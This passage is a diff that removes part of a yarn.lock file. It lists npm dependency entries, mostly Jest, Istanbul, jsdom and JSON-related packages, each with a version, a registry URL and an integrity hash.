-resolved "https://registry.yarnpkg.com/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.0.tgz#75743ce6d96bb86dc7ee4352cf6366a23f0b1ad9"
-integrity sha512-c16LpFRkR8vQXyHZ5nLpY35JZtzj1PQY1iZmesUbf1FZHbIupcWfjgOXBY9YHkLEQ6puz1u4Dgj6qmU/DisrZg==
-dependencies:
-debug "^4.1.1"
-istanbul-lib-coverage "^3.0.0"
-source-map "^0.6.1"
-
-istanbul-reports@^3.0.2:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/istanbul-reports/-/istanbul-reports-3.0.2.tgz#d593210e5000683750cb09fc0644e4b6e27fd53b"
-integrity sha512-9tZvz7AiR3PEDNGiV9vIouQ/EAcqMXFmkcA1CDFTwOB98OZVDL0PH9glHotf5Ugp6GCOTypfzGWI/OqjWNCRUw==
-dependencies:
-html-escaper "^2.0.0"
-istanbul-lib-report "^3.0.0"
-
-jest-changed-files@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-changed-files/-/jest-changed-files-26.0.1.tgz#1334630c6a1ad75784120f39c3aa9278e59f349f"
-integrity sha512-q8LP9Sint17HaE2LjxQXL+oYWW/WeeXMPE2+Op9X3mY8IEGFVc14xRxFjUuXUbcPAlDLhtWdIEt59GdQbn76Hw==
-dependencies:
-"@jest/types" "^26.0.1"
-execa "^4.0.0"
-throat "^5.0.0"
-
-jest-cli@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-cli/-/jest-cli-26.0.1.tgz#3a42399a4cbc96a519b99ad069a117d955570cac"
-integrity sha512-pFLfSOBcbG9iOZWaMK4Een+tTxi/Wcm34geqZEqrst9cZDkTQ1LZ2CnBrTlHWuYAiTMFr0EQeK52ScyFU8wK+w==
-dependencies:
-"@jest/core" "^26.0.1"
-"@jest/test-result" "^26.0.1"
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-exit "^0.1.2"
-graceful-fs "^4.2.4"
-import-local "^3.0.2"
-is-ci "^2.0.0"
-jest-config "^26.0.1"
-jest-util "^26.0.1"
-jest-validate "^26.0.1"
-prompts "^2.0.1"
-yargs "^15.3.1"
-
-jest-config@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-config/-/jest-config-26.0.1.tgz#096a3d4150afadf719d1fab00e9a6fb2d6d67507"
-integrity sha512-9mWKx2L1LFgOXlDsC4YSeavnblN6A4CPfXFiobq+YYLaBMymA/SczN7xYTSmLaEYHZOcB98UdoN4m5uNt6tztg==
-dependencies:
-"@babel/core" "^7.1.0"
-"@jest/test-sequencer" "^26.0.1"
-"@jest/types" "^26.0.1"
-babel-jest "^26.0.1"
-chalk "^4.0.0"
-deepmerge "^4.2.2"
-glob "^7.1.1"
-graceful-fs "^4.2.4"
-jest-environment-jsdom "^26.0.1"
-jest-environment-node "^26.0.1"
-jest-get-type "^26.0.0"
-jest-jasmine2 "^26.0.1"
-jest-regex-util "^26.0.0"
-jest-resolve "^26.0.1"
-jest-util "^26.0.1"
-jest-validate "^26.0.1"
-micromatch "^4.0.2"
-pretty-format "^26.0.1"
-
-jest-diff@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-26.0.1.tgz#c44ab3cdd5977d466de69c46929e0e57f89aa1de"
-integrity sha512-odTcHyl5X+U+QsczJmOjWw5tPvww+y9Yim5xzqxVl/R1j4z71+fHW4g8qu1ugMmKdFdxw+AtQgs5mupPnzcIBQ==
-dependencies:
-chalk "^4.0.0"
-diff-sequences "^26.0.0"
-jest-get-type "^26.0.0"
-pretty-format "^26.0.1"
-
-jest-docblock@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/jest-docblock/-/jest-docblock-26.0.0.tgz#3e2fa20899fc928cb13bd0ff68bd3711a36889b5"
-integrity sha512-RDZ4Iz3QbtRWycd8bUEPxQsTlYazfYn/h5R65Fc6gOfwozFhoImx+affzky/FFBuqISPTqjXomoIGJVKBWoo0w==
-dependencies:
-detect-newline "^3.0.0"
-
-jest-each@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-each/-/jest-each-26.0.1.tgz#633083061619302fc90dd8f58350f9d77d67be04"
-integrity sha512-OTgJlwXCAR8NIWaXFL5DBbeS4QIYPuNASkzSwMCJO+ywo9BEa6TqkaSWsfR7VdbMLdgYJqSfQcIyjJCNwl5n4Q==
-dependencies:
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-jest-get-type "^26.0.0"
-jest-util "^26.0.1"
-pretty-format "^26.0.1"
-
-jest-environment-jsdom@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-environment-jsdom/-/jest-environment-jsdom-26.0.1.tgz#217690852e5bdd7c846a4e3b50c8ffd441dfd249"
-integrity sha512-u88NJa3aptz2Xix2pFhihRBAatwZHWwSiRLBDBQE1cdJvDjPvv7ZGA0NQBxWwDDn7D0g1uHqxM8aGgfA9Bx49g==
-dependencies:
-"@jest/environment" "^26.0.1"
-"@jest/fake-timers" "^26.0.1"
-"@jest/types" "^26.0.1"
-jest-mock "^26.0.1"
-jest-util "^26.0.1"
-jsdom "^16.2.2"
-
-jest-environment-node@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-environment-node/-/jest-environment-node-26.0.1.tgz#584a9ff623124ff6eeb49e0131b5f7612b310b13"
-integrity sha512-4FRBWcSn5yVo0KtNav7+5NH5Z/tEgDLp7VRQVS5tCouWORxj+nI+1tOLutM07Zb2Qi7ja+HEDoOUkjBSWZg/IQ==
-dependencies:
-"@jest/environment" "^26.0.1"
-"@jest/fake-timers" "^26.0.1"
-"@jest/types" "^26.0.1"
-jest-mock "^26.0.1"
-jest-util "^26.0.1"
-
-jest-get-type@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-26.0.0.tgz#381e986a718998dbfafcd5ec05934be538db4039"
-integrity sha512-zRc1OAPnnws1EVfykXOj19zo2EMw5Hi6HLbFCSjpuJiXtOWAYIjNsHVSbpQ8bDX7L5BGYGI8m+HmKdjHYFF0kg==
-
-jest-haste-map@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-haste-map/-/jest-haste-map-26.0.1.tgz#40dcc03c43ac94d25b8618075804d09cd5d49de7"
-integrity sha512-J9kBl/EdjmDsvyv7CiyKY5+DsTvVOScenprz/fGqfLg/pm1gdjbwwQ98nW0t+OIt+f+5nAVaElvn/6wP5KO7KA==
-dependencies:
-"@jest/types" "^26.0.1"
-"@types/graceful-fs" "^4.1.2"
-anymatch "^3.0.3"
-fb-watchman "^2.0.0"
-graceful-fs "^4.2.4"
-jest-serializer "^26.0.0"
-jest-util "^26.0.1"
-jest-worker "^26.0.0"
-micromatch "^4.0.2"
-sane "^4.0.3"
-walker "^1.0.7"
-which "^2.0.2"
-optionalDependencies:
-fsevents "^2.1.2"
-
-jest-html@1.5.0:
-version "1.5.0"
-resolved "https://registry.yarnpkg.com/jest-html/-/jest-html-1.5.0.tgz#e9e0809f1f2ad44bd2cb515c35ceb3776d299cab"
-integrity sha512-Q2NdWPJSOCN9El0u1lxv/tEo3WwpVgCVk8Hi5qw2a7uHzxil8sqaSXlXc1CACxh3DWnhnoixA9IgxkqeNFQ4Dw==
-dependencies:
-babel-polyfill "6.26.0"
-body-parser "^1.18.3"
-chokidar "^2.0.4"
-commander "^2.17.1"
-escape-html "1.0.3"
-express "^4.16.3"
-globby "^8.0.1"
-lodash.debounce "4.0.8"
-opn "^5.3.0"
-pretty-format "^23.5.0"
-socket.io "^2.1.1"
-storyboard "^3.1.4"
-storyboard-preset-console "^3.1.4"
-timm "^1.6.1"
-whatwg-fetch "^2.0.4"
-
-jest-jasmine2@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-jasmine2/-/jest-jasmine2-26.0.1.tgz#947c40ee816636ba23112af3206d6fa7b23c1c1c"
-integrity sha512-ILaRyiWxiXOJ+RWTKupzQWwnPaeXPIoLS5uW41h18varJzd9/7I0QJGqg69fhTT1ev9JpSSo9QtalriUN0oqOg==
-dependencies:
-"@babel/traverse" "^7.1.0"
-"@jest/environment" "^26.0.1"
-"@jest/source-map" "^26.0.0"
-"@jest/test-result" "^26.0.1"
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-co "^4.6.0"
-expect "^26.0.1"
-is-generator-fn "^2.0.0"
-jest-each "^26.0.1"
-jest-matcher-utils "^26.0.1"
-jest-message-util "^26.0.1"
-jest-runtime "^26.0.1"
-jest-snapshot "^26.0.1"
-jest-util "^26.0.1"
-pretty-format "^26.0.1"
-throat "^5.0.0"
-
-jest-leak-detector@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-leak-detector/-/jest-leak-detector-26.0.1.tgz#79b19ab3f41170e0a78eb8fa754a116d3447fb8c"
-integrity sha512-93FR8tJhaYIWrWsbmVN1pQ9ZNlbgRpfvrnw5LmgLRX0ckOJ8ut/I35CL7awi2ecq6Ca4lL59bEK9hr7nqoHWPA==
-dependencies:
-jest-get-type "^26.0.0"
-pretty-format "^26.0.1"
-
-jest-matcher-utils@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-26.0.1.tgz#12e1fc386fe4f14678f4cc8dbd5ba75a58092911"
-integrity sha512-PUMlsLth0Azen8Q2WFTwnSkGh2JZ8FYuwijC8NR47vXKpsrKmA1wWvgcj1CquuVfcYiDEdj985u5Wmg7COEARw==
-dependencies:
-chalk "^4.0.0"
-jest-diff "^26.0.1"
-jest-get-type "^26.0.0"
-pretty-format "^26.0.1"
-
-jest-message-util@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-26.0.1.tgz#07af1b42fc450b4cc8e90e4c9cef11b33ce9b0ac"
-integrity sha512-CbK8uQREZ8umUfo8+zgIfEt+W7HAHjQCoRaNs4WxKGhAYBGwEyvxuK81FXa7VeB9pwDEXeeKOB2qcsNVCAvB7Q==
-dependencies:
-"@babel/code-frame" "^7.0.0"
-"@jest/types" "^26.0.1"
-"@types/stack-utils" "^1.0.1"
-chalk "^4.0.0"
-graceful-fs "^4.2.4"
-micromatch "^4.0.2"
-slash "^3.0.0"
-stack-utils "^2.0.2"
-
-jest-mock@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-mock/-/jest-mock-26.0.1.tgz#7fd1517ed4955397cf1620a771dc2d61fad8fd40"
-integrity sha512-MpYTBqycuPYSY6xKJognV7Ja46/TeRbAZept987Zp+tuJvMN0YBWyyhG9mXyYQaU3SBI0TUlSaO5L3p49agw7Q==
-dependencies:
-"@jest/types" "^26.0.1"
-
-jest-pnp-resolver@^1.2.1:
-version "1.2.1"
-resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.1.tgz#ecdae604c077a7fbc70defb6d517c3c1c898923a"
-integrity sha512-pgFw2tm54fzgYvc/OHrnysABEObZCUNFnhjoRjaVOCN8NYc032/gVjPaHD4Aq6ApkSieWtfKAFQtmDKAmhupnQ==
-
-jest-regex-util@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-26.0.0.tgz#d25e7184b36e39fd466c3bc41be0971e821fee28"
-integrity sha512-Gv3ZIs/nA48/Zvjrl34bf+oD76JHiGDUxNOVgUjh3j890sblXryjY4rss71fPtD/njchl6PSE2hIhvyWa1eT0A==
-
-jest-resolve-dependencies@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-resolve-dependencies/-/jest-resolve-dependencies-26.0.1.tgz#607ba7ccc32151d185a477cff45bf33bce417f0b"
-integrity sha512-9d5/RS/ft0vB/qy7jct/qAhzJsr6fRQJyGAFigK3XD4hf9kIbEH5gks4t4Z7kyMRhowU6HWm/o8ILqhaHdSqLw==
-dependencies:
-"@jest/types" "^26.0.1"
-jest-regex-util "^26.0.0"
-jest-snapshot "^26.0.1"
-
-jest-resolve@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-resolve/-/jest-resolve-26.0.1.tgz#21d1ee06f9ea270a343a8893051aeed940cde736"
-integrity sha512-6jWxk0IKZkPIVTvq6s72RH735P8f9eCJW3IM5CX/SJFeKq1p2cZx0U49wf/SdMlhaB/anann5J2nCJj6HrbezQ==
-dependencies:
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-graceful-fs "^4.2.4"
-jest-pnp-resolver "^1.2.1"
-jest-util "^26.0.1"
-read-pkg-up "^7.0.1"
-resolve "^1.17.0"
-slash "^3.0.0"
-
-jest-runner@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-runner/-/jest-runner-26.0.1.tgz#ea03584b7ae4bacfb7e533d680a575a49ae35d50"
-integrity sha512-CApm0g81b49Znm4cZekYQK67zY7kkB4umOlI2Dx5CwKAzdgw75EN+ozBHRvxBzwo1ZLYZ07TFxkaPm+1t4d8jA==
-dependencies:
-"@jest/console" "^26.0.1"
-"@jest/environment" "^26.0.1"
-"@jest/test-result" "^26.0.1"
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-exit "^0.1.2"
-graceful-fs "^4.2.4"
-jest-config "^26.0.1"
-jest-docblock "^26.0.0"
-jest-haste-map "^26.0.1"
-jest-jasmine2 "^26.0.1"
-jest-leak-detector "^26.0.1"
-jest-message-util "^26.0.1"
-jest-resolve "^26.0.1"
-jest-runtime "^26.0.1"
-jest-util "^26.0.1"
-jest-worker "^26.0.0"
-source-map-support "^0.5.6"
-throat "^5.0.0"
-
-jest-runtime@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-runtime/-/jest-runtime-26.0.1.tgz#a121a6321235987d294168e282d52b364d7d3f89"
-integrity sha512-Ci2QhYFmANg5qaXWf78T2Pfo6GtmIBn2rRaLnklRyEucmPccmCKvS9JPljcmtVamsdMmkyNkVFb9pBTD6si9Lw==
-dependencies:
-"@jest/console" "^26.0.1"
-"@jest/environment" "^26.0.1"
-"@jest/fake-timers" "^26.0.1"
-"@jest/globals" "^26.0.1"
-"@jest/source-map" "^26.0.0"
-"@jest/test-result" "^26.0.1"
-"@jest/transform" "^26.0.1"
-"@jest/types" "^26.0.1"
-"@types/yargs" "^15.0.0"
-chalk "^4.0.0"
-collect-v8-coverage "^1.0.0"
-exit "^0.1.2"
-glob "^7.1.3"
-graceful-fs "^4.2.4"
-jest-config "^26.0.1"
-jest-haste-map "^26.0.1"
-jest-message-util "^26.0.1"
-jest-mock "^26.0.1"
-jest-regex-util "^26.0.0"
-jest-resolve "^26.0.1"
-jest-snapshot "^26.0.1"
-jest-util "^26.0.1"
-jest-validate "^26.0.1"
-slash "^3.0.0"
-strip-bom "^4.0.0"
-yargs "^15.3.1"
-
-jest-serializer@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/jest-serializer/-/jest-serializer-26.0.0.tgz#f6c521ddb976943b93e662c0d4d79245abec72a3"
-integrity sha512-sQGXLdEGWFAE4wIJ2ZaIDb+ikETlUirEOBsLXdoBbeLhTHkZUJwgk3+M8eyFizhM6le43PDCCKPA1hzkSDo4cQ==
-dependencies:
-graceful-fs "^4.2.4"
-
-jest-snapshot@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-26.0.1.tgz#1baa942bd83d47b837a84af7fcf5fd4a236da399"
-integrity sha512-jxd+cF7+LL+a80qh6TAnTLUZHyQoWwEHSUFJjkw35u3Gx+BZUNuXhYvDqHXr62UQPnWo2P6fvQlLjsU93UKyxA==
-dependencies:
-"@babel/types" "^7.0.0"
-"@jest/types" "^26.0.1"
-"@types/prettier" "^2.0.0"
-chalk "^4.0.0"
-expect "^26.0.1"
-graceful-fs "^4.2.4"
-jest-diff "^26.0.1"
-jest-get-type "^26.0.0"
-jest-matcher-utils "^26.0.1"
-jest-message-util "^26.0.1"
-jest-resolve "^26.0.1"
-make-dir "^3.0.0"
-natural-compare "^1.4.0"
-pretty-format "^26.0.1"
-semver "^7.3.2"
-
-jest-util@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-26.0.1.tgz#72c4c51177b695fdd795ca072a6f94e3d7cef00a"
-integrity sha512-byQ3n7ad1BO/WyFkYvlWQHTsomB6GIewBh8tlGtusiylAlaxQ1UpS0XYH0ngOyhZuHVLN79Qvl6/pMiDMSSG1g==
-dependencies:
-"@jest/types" "^26.0.1"
-chalk "^4.0.0"
-graceful-fs "^4.2.4"
-is-ci "^2.0.0"
-make-dir "^3.0.0"
-
-jest-validate@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-26.0.1.tgz#a62987e1da5b7f724130f904725e22f4e5b2e23c"
-integrity sha512-u0xRc+rbmov/VqXnX3DlkxD74rHI/CfS5xaV2VpeaVySjbb1JioNVOyly5b56q2l9ZKe7bVG5qWmjfctkQb0bA==
-dependencies:
-"@jest/types" "^26.0.1"
-camelcase "^6.0.0"
-chalk "^4.0.0"
-jest-get-type "^26.0.0"
-leven "^3.1.0"
-pretty-format "^26.0.1"
-
-jest-watcher@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-26.0.1.tgz#5b5e3ebbdf10c240e22a98af66d645631afda770"
-integrity sha512-pdZPydsS8475f89kGswaNsN3rhP6lnC3/QDCppP7bg1L9JQz7oU9Mb/5xPETk1RHDCWeqmVC47M4K5RR7ejxFw==
-dependencies:
-"@jest/test-result" "^26.0.1"
-"@jest/types" "^26.0.1"
-ansi-escapes "^4.2.1"
-chalk "^4.0.0"
-jest-util "^26.0.1"
-string-length "^4.0.1"
-
-jest-worker@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-26.0.0.tgz#4920c7714f0a96c6412464718d0c58a3df3fb066"
-integrity sha512-pPaYa2+JnwmiZjK9x7p9BoZht+47ecFCDFA/CJxspHzeDvQcfVBLWzCiWyo+EGrSiQMWZtCFo9iSvMZnAAo8vw==
-dependencies:
-merge-stream "^2.0.0"
-supports-color "^7.0.0"
-
-jest@26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/jest/-/jest-26.0.1.tgz#5c51a2e58dff7525b65f169721767173bf832694"
-integrity sha512-29Q54kn5Bm7ZGKIuH2JRmnKl85YRigp0o0asTc6Sb6l2ch1DCXIeZTLLFy9ultJvhkTqbswF5DEx4+RlkmCxWg==
-dependencies:
-"@jest/core" "^26.0.1"
-import-local "^3.0.2"
-jest-cli "^26.0.1"
-
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
-integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
-
-js-yaml@^3.10.0, js-yaml@^3.13.1:
-version "3.14.0"
-resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.0.tgz#a7a34170f26a21bb162424d8adacb4113a69e482"
-integrity sha512-/4IbIeHcD9VMHFqDR/gQ7EdZdLimOvW2DdcxFjdyyZ9NsbS+ccrXqVWDtab/lRl5AlUqmpBx8EhPaWR+OtY17A==
-dependencies:
-argparse "^1.0.7"
-esprima "^4.0.0"
-
-jsbn@~0.1.0:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
-jsdom@^14.1.0:
-version "14.1.0"
-resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-14.1.0.tgz#916463b6094956b0a6c1782c94e380cd30e1981b"
-integrity sha512-O901mfJSuTdwU2w3Sn+74T+RnDVP+FuV5fH8tcPWyqrseRAb0s5xOtPgCFiPOtLcyK7CLIJwPyD83ZqQWvA5ng==
-dependencies:
-abab "^2.0.0"
-acorn "^6.0.4"
-acorn-globals "^4.3.0"
-array-equal "^1.0.0"
-cssom "^0.3.4"
-cssstyle "^1.1.1"
-data-urls "^1.1.0"
-domexception "^1.0.1"
-escodegen "^1.11.0"
-html-encoding-sniffer "^1.0.2"
-nwsapi "^2.1.3"
-parse5 "5.1.0"
-pn "^1.1.0"
-request "^2.88.0"
-request-promise-native "^1.0.5"
-saxes "^3.1.9"
-symbol-tree "^3.2.2"
-tough-cookie "^2.5.0"
-w3c-hr-time "^1.0.1"
-w3c-xmlserializer "^1.1.2"
-webidl-conversions "^4.0.2"
-whatwg-encoding "^1.0.5"
-whatwg-mimetype "^2.3.0"
-whatwg-url "^7.0.0"
-ws "^6.1.2"
-xml-name-validator "^3.0.0"
-
-jsdom@^16.2.2:
-version "16.2.2"
-resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-16.2.2.tgz#76f2f7541646beb46a938f5dc476b88705bedf2b"
-integrity sha512-pDFQbcYtKBHxRaP55zGXCJWgFHkDAYbKcsXEK/3Icu9nKYZkutUXfLBwbD+09XDutkYSHcgfQLZ0qvpAAm9mvg==
-dependencies:
-abab "^2.0.3"
-acorn "^7.1.1"
-acorn-globals "^6.0.0"
-cssom "^0.4.4"
-cssstyle "^2.2.0"
-data-urls "^2.0.0"
-decimal.js "^10.2.0"
-domexception "^2.0.1"
-escodegen "^1.14.1"
-html-encoding-sniffer "^2.0.1"
-is-potential-custom-element-name "^1.0.0"
-nwsapi "^2.2.0"
-parse5 "5.1.1"
-request "^2.88.2"
-request-promise-native "^1.0.8"
-saxes "^5.0.0"
-symbol-tree "^3.2.4"
-tough-cookie "^3.0.1"
-w3c-hr-time "^1.0.2"
-w3c-xmlserializer "^2.0.0"
-webidl-conversions "^6.0.0"
-whatwg-encoding "^1.0.5"
-whatwg-mimetype "^2.3.0"
-whatwg-url "^8.0.0"
-ws "^7.2.3"
-xml-name-validator "^3.0.0"
-
-jsesc@^2.5.1:
-version "2.5.2"
-resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
-integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==
-
-jsesc@~0.5.0:
-version "0.5.0"
-resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
-
-json-parse-better-errors@^1.0.1:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9"
-integrity sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==
-
-json-schema-traverse@^0.4.1:
-version "0.4.1"
-resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
-
-json-schema@0.2.3:
-version "0.2.3"
-resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
-json-stringify-safe@~5.0.1:
-version "5.0.1"
-resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
-
-json5@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
-integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==
-dependencies:
-minimist "^1.2.0"
-
-json5@^2.1.2:
-version "2.1.3"
-resolved "https://registry.yarnpkg.com/json5/-/json5-2.1.3.tgz#c9b0f7fa9233bfe5807fe66fcf3a5617ed597d43"
-integrity sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==
-dependencies:
-minimist "^1.2.5"
-
-jsprim@^1.2.2:
-version "1.4.1"
-resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-dependencies:
-assert-plus "1.0.0"
-extsprintf "1.3.0"
-json-schema "0.2.3"
-verror "1.10.0"
-
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-version "3.2.2"
-resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-dependencies:
-is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-dependencies:
-is-buffer "^1.1.5"
-
-kind-of@^5.0.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
-kind-of@^6.0.0, kind-of@^6.0.2:
-version "6.0.3"
-resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
-
-kleur@^3.0.3:
-version "3.0.3"
-resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
-integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
-
-kleur@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/kleur/-/kleur-4.0.1.tgz#3d4948534b666e2578f93b6fafb62108e64f05ef"
-integrity sha512-Qs6SqCLm63rd0kNVh+wO4XsWLU6kgfwwaPYsLiClWf0Tewkzsa6MvB21bespb8cz+ANS+2t3So1ge3gintzhlw==
-
-leven@^3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
-integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==
-
-levenary@^1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/levenary/-/levenary-1.1.1.tgz#842a9ee98d2075aa7faeedbe32679e9205f46f77"
-integrity sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==
-dependencies:
-leven "^3.1.0"
-
-levn@~0.3.0:
-version "0.3.0"
-resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-dependencies:
-prelude-ls "~1.1.2"
-type-check "~0.3.2"
-
-lines-and-columns@^1.1.6:
-version "1.1.6"
-resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
-integrity sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=
-
-load-json-file@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-4.0.0.tgz#2f5f45ab91e33216234fd53adab668eb4ec0993b"
-integrity sha1-L19Fq5HjMhYjT9U62rZo607AmTs=
-dependencies:
-graceful-fs "^4.1.2"
-parse-json "^4.0.0"
-pify "^3.0.0"
-strip-bom "^3.0.0"
-
-loader-utils@^1.1.0:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
